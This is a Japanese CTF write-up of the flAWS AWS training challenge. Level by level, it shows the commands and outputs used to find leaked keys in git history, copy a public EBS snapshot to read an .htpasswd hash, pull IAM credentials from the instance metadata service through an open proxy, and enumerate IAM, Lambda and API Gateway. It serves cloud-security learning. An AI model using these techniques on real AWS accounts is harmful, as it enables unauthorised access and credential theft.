【CTF】flAWS Writeup
概要
先日から取り組み始めたflAWS、ひとつの記事にWriteupをまとめていくことにした。
Level 1
以下の記事の通り。
- 教訓
- S3は作られた直後の状態が最もセキュア
- パーミッションの「everyone」は「everyone on the Internet」という意味
- 静的ウェブサイトの公開手段と混同しないよう気をつける
Level 2
「The next level is fairly similar, with a slight twist.」って書いてあったけど、 Level 1と同じ手法で次のレベルのリンクが出てきた。Level 1では「everyone」にList権限を与えたが、Level 2では「Any Authenticated AWS User」にListの許可を与えため、自前のAWSアカウントが必要だったということみたい。Level 1に取り組む前からAWSCLIにはプロファイルを設定してあったので、実質違いはなかった。
- 教訓
- 「Any Authenticated AWS User」も同じく注意
Level 3
aws s3 ls
すると.gitディレクトリがある。aws s3 sync
でローカルに落としてきてgit log
でコミット履歴を見ると、以下の通りやらかしてる感じのコミットが。
$ git log commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 Author: 0xdabbad00 <scott@summitroute.com> Date: Sun Sep 17 09:10:43 2017 -0600 Oops, accidentally added something I shouldn't have commit f52ec03b227ea6094b04e43f475fb0126edb5a61 Author: 0xdabbad00 <scott@summitroute.com> Date: Sun Sep 17 09:10:07 2017 -0600 first commit
git reset --hard f52ec03b227ea6094b04e43f475fb0126edb5a61
でfirst commitまで戻ると、access_keys.txt
といういかにもがファイルが復元。中身はAWSのシークレットキーとアクセスキーIDが書かれていた。
以下を参考に~/.aws/config
と~/.aws/credential
にflawsプロファイルを作った。
ここから動きに迷ってしまって、.git
内のオブジェクトをzlibで解凍して中身を見たりするなかでhintを見てしまい、flawsプロファイルを指定しかつバケットのパスを指定せずにaws s3 ls
コマンドを実行すると、指定したプロファイル(:=AWSアカウント)が持つバケットの一覧が見れることを思い出す。案の定、次レベルのFQDNが判明した。
$ aws --profile flaws s3 ls 2017-02-13 06:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud 2017-05-30 01:34:53 config-bucket-975426262029 2017-02-13 05:03:24 flaws-logs 2017-02-05 12:40:07 flaws.cloud 2017-02-24 10:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud 2017-02-27 03:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud 2017-02-27 03:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud 2017-02-27 04:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud 2017-02-27 04:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud 2017-02-27 05:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
- 教訓
Level 4
EC2上で稼働するNginxのベーシック認証を破って、Level 5へのリンクがあるページを見たい。「It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.」というヒントが既に出ており、Level 3で取得したクレデンシャルを使ってaws --profile flaws ec2 describe-snapshots
でスナップショットの一覧を確認すると、「Name: flaws backup 2017.02.27」というタグがついたスナップショットがある。ここからどうにかしてスナップショットの中身を見たいのだが、自力ではここでお手上げ。
ヒントを見ると、まずはaws sts get-caller-identity
でAWSアカウントIDを確認してみようとのこと。
結果は以下。
$ aws --profile flaws sts get-caller-identity { "UserId": "AIDAJQ3H5DC3LEG2BKSLC", "Account": "975426262029", "Arn": "arn:aws:iam::975426262029:user/backup" }
ユーザー名の通り、前述のスナップショットもこのアカウントで取得しているのだろうという見立てのもと、アカウントIDを条件にしてaws ec2 describe-snapshots
を実行すると、やはり先ほどのタグがついたスナップショットが出てきた。
$ aws --profile flaws ec2 describe-snapshots --owner-id 975426262029 --region us-west-2 { "Snapshots": [ { "Description": "", "Encrypted": false, "OwnerId": "975426262029", "Progress": "100%", "SnapshotId": "snap-0b49342abd1bdcb89", "StartTime": "2017-02-28T01:35:12.000Z", "State": "completed", "VolumeId": "vol-04f1c039bc13ea950", "VolumeSize": 8, "Tags": [ { "Key": "Name", "Value": "flaws backup 2017.02.27" } ] } ] }
以下を参照すると、スナップショットを公開するにはcreateVolumePermission属性のGroupをallに設定する必要があるらしい。
aws ec2 describe-snapshot-attribute
で確認すると、そのようになっていた。
$ aws --profile flaws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --region us-west-2 { "CreateVolumePermissions": [ { "Group": "all" } ], "SnapshotId": "snap-0b49342abd1bdcb89" }
自分のアカウントにこのスナップショットをコピーできるということが分かったので、aws ec2 create-volume
をsnapshot-idを指定して実行する。
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
自分のアカウントで、このボリュームを持ったEC2を立てる(GUIで実施)。最初からマウントしているわけではないので、EC2にログインして自分でマウントする。
$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda 202:0 0 8G 0 disk └─xvda1 202:1 0 8G 0 part / xvdb 202:16 0 8G 0 disk └─xvdb1 202:17 0 8G 0 part $ sudo mkdir /mnt/xvdb1 $ sudo mount /dev/xvdb1 /mnt/xvdb1
/etc/nginx
の中を見ると、.htpasswd
ファイルが。
$ cat .htpasswd flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0
.htpasswd
の存在は知っていたものの、中身を見るのは初めて。平文を知るためにソルト付きMD5の復号とかアホみたいなこと調べたりしつつお手上げ。ヒントを見ると、マウントしたボリューム内の/home/ubuntu
ディレクトリに、平文のパスワードを引数にhtpasswd
コマンドを実行するシェルスクリプトがあることが発覚。んなアホな……。
- 教訓
Level 5
HTTPプロキシとして稼働するEC2を利用して、Level 6のコンテンツが格納されているディレクトリ(これもS3にホストしているので、S3的にはキーと呼ぶのが適切か?)を探す問題。
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254
にアクセスするとこのEC2のインスタンスメタデータが丸見えになっていて、階層を降りていってhttp://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
まで来ると、アクセスキーID、シークレットアクセスキー、トークンが確認できる。
これをawscliのクレデンシャルに設定して悪さをすることはこれまでの課題から想像できるが、今回はこれらに加えてトークンもaws_access_token
として設定する必要がある。
Level 5の課題からLevel6のバケット名は分かっているので、新しいプロファイルでaws s3 ls
すれば中身が見える。
$ aws --profile flaws2 s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud PRE ddcc78ff/ 2017-02-27 11:11:07 871 index.html
一応、今回のクレデンシャルでのsts get-caller-identity
。
$ aws --profile flaws2 sts get-caller-identity { "UserId": "AROAI3DXO3QJ4JAWIIQ5S:i-05bef8a081f307783", "Account": "975426262029", "Arn": "arn:aws:sts::975426262029:assumed-role/flaws/i-05bef8a081f307783" }
Level 6
最初から新しいクレデンシャルを提示される。このユーザーはSecurityAuditポリシーがアタッチされているらしい。
ポリシー名からしてログみたりするのかなと思って、aws logs
などしてみるも挫折。ヒントを見たらまずIAMを確認せよとのこと。そりゃそうだ。ユーザー名はlevel6
。
$ aws --profile flaws6 iam get-user { "User": { "Path": "/", "UserName": "Level6", "UserId": "AIDAIRMDOSCWGLCDWOG6A", "Arn": "arn:aws:iam::975426262029:user/Level6", "CreateDate": "2017-02-26T23:11:16Z" } }
次いで、このユーザーに割り当てられているポリシーの確認。MySecurityAudit
の他にlist_apigateways
というポリシーが割り当たっている。
$ aws --profile flaws6 iam list-attached-user-policies --user-name level6 { "AttachedPolicies": [ { "PolicyName": "list_apigateways", "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways" }, { "PolicyName": "MySecurityAudit", "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit" } ] }
list_apigateways
でできることを確認。
$ aws --profile flaws6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways { "Policy": { "PolicyName": "list_apigateways", "PolicyId": "ANPAIRLWTQMGKCSPGTAIO", "Arn": "arn:aws:iam::975426262029:policy/list_apigateways", "Path": "/", "DefaultVersionId": "v4", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "List apigateways", "CreateDate": "2017-02-20T01:45:17Z", "UpdateDate": "2017-02-20T01:48:17Z" } }
バージョンを指定して詳細を確認すると、arn:aws:apigateway:us-west-2::/restapis/*
に対してapigateway:GET
が許可されていることが分かる。
$ aws --profile flaws6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": [ "apigateway:GET" ], "Effect": "Allow", "Resource": "arn:aws:apigateway:us-west-2::/restapis/*" } ] }, "VersionId": "v4", "IsDefaultVersion": true, "CreateDate": "2017-02-20T01:48:17Z" } }
SecurityAuditを濫用して、Lambdaを見てみると、Level6
という関数があることが分かる。発想をAPI GatewayからLambdaへ繋げられなかったのは反省。
$ aws --region us-west-2 --profile flaws6 lambda list-functions { "Functions": [ { "FunctionName": "Level6", "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6", "Runtime": "python2.7", "Role": "arn:aws:iam::975426262029:role/service-role/Level6", "Handler": "lambda_function.lambda_handler", "CodeSize": 282, "Description": "A starter AWS Lambda function.", "Timeout": 3, "MemorySize": 128, "LastModified": "2017-02-27T00:24:36.054+0000", "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89" } ] }
関数名を引数に、aws lambda get-policy
を実行。s33ppypa75
はREST API IDという値らしい。
$ aws --region us-west-2 --profile flaws6 lambda get-policy --function-name Level6 { "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}", "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89" }
REST API IDを引数にaws apigateway get-stages
を実行。ステージがProd
であることが判明。
$ aws --profile flaws6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" { "item": [ { "deploymentId": "8gppiv", "stageName": "Prod", "cacheClusterEnabled": false, "cacheClusterStatus": "NOT_AVAILABLE", "methodSettings": {}, "tracingEnabled": false, "createdDate": 1488155168, "lastUpdatedDate": 1488155168 } ] }
これまでの情報で、APIのURLがhttps://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
であることが分かるので、アクセスすると最後のページのURLがレスポンスされる。
- 教訓
- 読み取り権限であっても、最小権限の法則を徹底する。
おわりに
AWSはプロダクト毎に異なる権限管理機構があるので、それら全てに気を配らなければならない。単一アカウント内であればAWS ConfigやCloudTrail、複数アカウントに渡る場合はOrganizationsやControl Centerなどを駆使して、仕組みでカバーしていかないと絶対漏れる。そういう仕組みを構築する一方で、万が一のインシデント発生時に備えて、flawsのようにAWS CLIでスピーディーに原因を特定する訓練は必要だと感じた。